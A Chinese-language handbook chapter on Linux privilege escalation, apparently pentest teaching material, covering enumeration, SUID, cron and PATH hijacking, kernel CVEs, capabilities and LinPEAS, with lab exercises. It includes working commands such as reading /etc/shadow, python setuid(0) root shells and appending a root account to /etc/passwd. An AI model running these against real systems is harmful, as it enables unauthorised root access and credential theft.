逆向工程实战手册 第 60 章

第 60 章 Linux 提权(Privilege Escalation)

拿到一个低权限 shell 后,"提权"是通往目标的必经之路。Linux 提权有一套成熟的枚举→利用流程。本章系统覆盖:信息枚举、SUID、Cron、内核漏洞、能力(Capabilities)、以及自动化工具。提权的核心是"先枚举,后利用"——90% 的提权路径来自没做好配置检查。

📍 知识点地图 | 主题:Linux提权 | 前置:第62章 | 后续:— | 核心概念:SUID、Cron、内核漏洞、Capabilities

60.1 提权思维模型

提权 = 找到一个"低权限能做、但影响高权限"的路径

路径来源:
  1. 配置错误(SUID/权限/Cron/环境变量)
  2. 漏洞(内核/服务/库)
  3. 凭证(明文密码/密钥/历史记录)
  4. 能力(Capabilities 分配错误)
  5. 共享资源(可写文件/服务)

核心流程: 枚举(发现候选)→ 验证(确认可利用)→ 利用

60.2 系统信息枚举(第一件事)

# 系统与内核
uname -a                # 内核版本(查已知漏洞)
cat /etc/os-release     # 发行版
lsb_release -a

# 用户与权限
id                      # 当前用户/组
whoami
sudo -l                 # ← 最优先!当前用户 sudo 权限
cat /etc/passwd         # 用户列表
cat /etc/shadow         # 可读?(直接拿哈希)

# 网络
ifconfig / ip addr
netstat -tulnp / ss -tulnp   # 监听端口(内部服务)
cat /etc/hosts

# 进程
ps aux                  # 谁在跑什么(找高权限进程)
ps aux | grep root

# 环境
env                     # 环境变量(路径/凭证/代理)
history                 # 命令历史(可能含密码)

sudo -l 是第一步:如果当前用户能无密码运行某命令,可能直接提权(配合 GTFOBins)。

60.3 SUID 提权(最经典)

原理

SUID 位 = 程序以"文件所有者"身份运行
/bin/su、/usr/bin/passwd 等系统程序有 SUID 是正常的
问题: 一个有 SUID 的可利用程序(或错误配置的脚本)→ 提权

查找 SUID 文件:
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

利用思路

1. 找 SUID 程序(排除系统正常项)
2. 查询 GTFOBins(https://gtfobins.github.io/)—— 每个程序怎么提权
3. 常见可提权 SUID:
   /usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
   /usr/bin/perl -e 'print "hello"'(配合 -e 执行)
   /bin/bash -p(有 SUID 的 bash)
   find 程序(-exec 执行)
   vim/less/more(! 命令执行)
4. 自定义 SUID 脚本(可写 + root 拥有 + SUID)→ 直接覆盖内容

60.4 Cron 提权(定时任务)

原理

Cron 任务以配置的权限执行(常是 root)
可写脚本/可写路径 → 替换 → 等下次执行 → 获得 root

枚举 Cron:
crontab -l                    # 当前用户
cat /etc/crontab              # 系统任务
ls -la /etc/cron.*            # cron 目录
cat /var/spool/cron/crontabs/*  # 各用户任务

利用链

1. 找到 root 的 cron 任务
2. 检查脚本是否可写(/tmp 或世界可写路径常见)
3. 写入提权 payload(反向 shell/复制 SUID bash)
4. 等待执行(或故意触发)

变体:PATH 劫持

Cron 执行脚本时用相对路径(如 backup.sh)
→ 把恶意 backup.sh 放在更前面的 PATH 目录 → 劫持执行

环境变量: PATH=/tmp:$PATH(如果你能写 /tmp)

60.5 内核漏洞提权

流程

1. uname -r 确认内核版本
2. 搜索该版本的已知提权 CVE(Exploit-DB/SearchSploit)
3. 评估: 受影响? 有 PoC? 编译条件满足?
4. 在目标编译/执行 PoC
5. 拿到 root

工具: searchsploit linux kernel <version> / exploitdb 搜索
注意: 内核提权可能崩溃系统(先备份/评估)

常见内核提权 CVE 系列(历史)

DirtyCow (CVE-2016-5195)      —— 经典写只读文件
OverlayFS 系列 (CVE-2021-3493 等)
CVE-2022-0847 (Dirty Pipe)     —— 任意写
CVE-2023-32629 / 2024 系列(持续更新)

60.6 Capabilities(Linux 能力提权)

原理

Capabilities = 把 root 权限拆成小块(CAP_*)
问题: 程序被分配了过大的能力(如 CAP_DAC_READ_SEARCH = 读所有文件)

枚举:
getcap -r / 2>/dev/null        # 全盘找带能力文件

常见可利用能力:
  CAP_DAC_READ_SEARCH: 绕过文件读权限 → 读 /etc/shadow
  CAP_SETUID: 设置 UID → 直接 setuid(0)
  CAP_SYS_ADMIN: 挂载/系统管理 → 多种利用
  CAP_NET_ADMIN: 改网络配置

利用示例(CAP_SETUID + python):
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

60.7 其他提权路径

□ 环境变量劫持: LD_PRELOAD(配合 SUID/高权限程序)
  → 写恶意 .so → 高权限程序加载 → 执行(需程序未过滤)
□ 可写配置文件: /etc/passwd(可写则直接加 root 用户)
  → echo "hack:x:0:0::/root:/bin/bash" >> /etc/passwd
□ NFS 配置: /etc/exports 的 no_root_squash → 挂载后 root 文件
□ Docker 组: 用户在 docker 组 → docker run -v /:/host 提权
□ 历史泄露: history/.bash_history 里的密码
□ 明文凭证: 配置文件/备份/数据库连接串
□ 服务漏洞: 以 root 运行的老服务(网络/本地)

60.8 自动化枚举工具

# LinPEAS(首选,输出带颜色分级)
./linpeas.sh

# Linux Smart Enumeration
./lse.sh

# LinuxPrivChecker
./linuxprivchecker.py

# 用法: 传上目标机(wget/curl/python http.server)→ 运行 → 分析输出
# 输出里的 [*] 高亮项优先验证

工具 vs 手工:工具枚举快,但利用路径必须手工确认(工具的输出是候选清单,不是结论)。

60.9 Linux 提权检查清单

□ 系统/内核版本(查 CVE)
□ 当前用户/组/sudo -l
□ SUID 文件(GTFOBins 比对)
□ Cron 任务(可写脚本/PATH 劫持)
□ Capabilities(getcap -r)
□ 可写文件/目录(/etc/passwd、配置文件)
□ 环境变量/LD_PRELOAD
□ 历史命令/配置文件中的凭证
□ 运行的服务(本地端口/root 服务)
□ Docker/NFS/共享资源
□ 自动化工具(LinPEAS)兜底 + 手工验证每条路径

动手练习

  1. 搭一个带 SUID 弱点的练习环境(放一个 SUID python/自定义脚本),完成提权。
  2. 在练习机跑 LinPEAS,分析输出里"高价值"条目,手工验证 2 条。
  3. 写一个可写的 Cron 脚本场景(root 定时执行 /tmp 脚本),复现提权链。
  4. 用 getcap 检查系统,找出带 CAP_DAC_READ_SEARCH/CAP_SETUID 的程序,尝试利用。

深入阅读

  • 仓库:skills/pentest-tools/references/network-attack-defense.md(提权章节)
  • 仓库:skills/attack-chain/SKILL.md(提权阶段:Windows/Linux/数据库)
  • 仓库:CTF-Sandbox-Orchestrator/competition-identity-windows/(Windows 身份 CTF)
  • 外部: GTFOBins(每个程序怎么提权)、LinPEAS(自动枚举)、Exploit-DB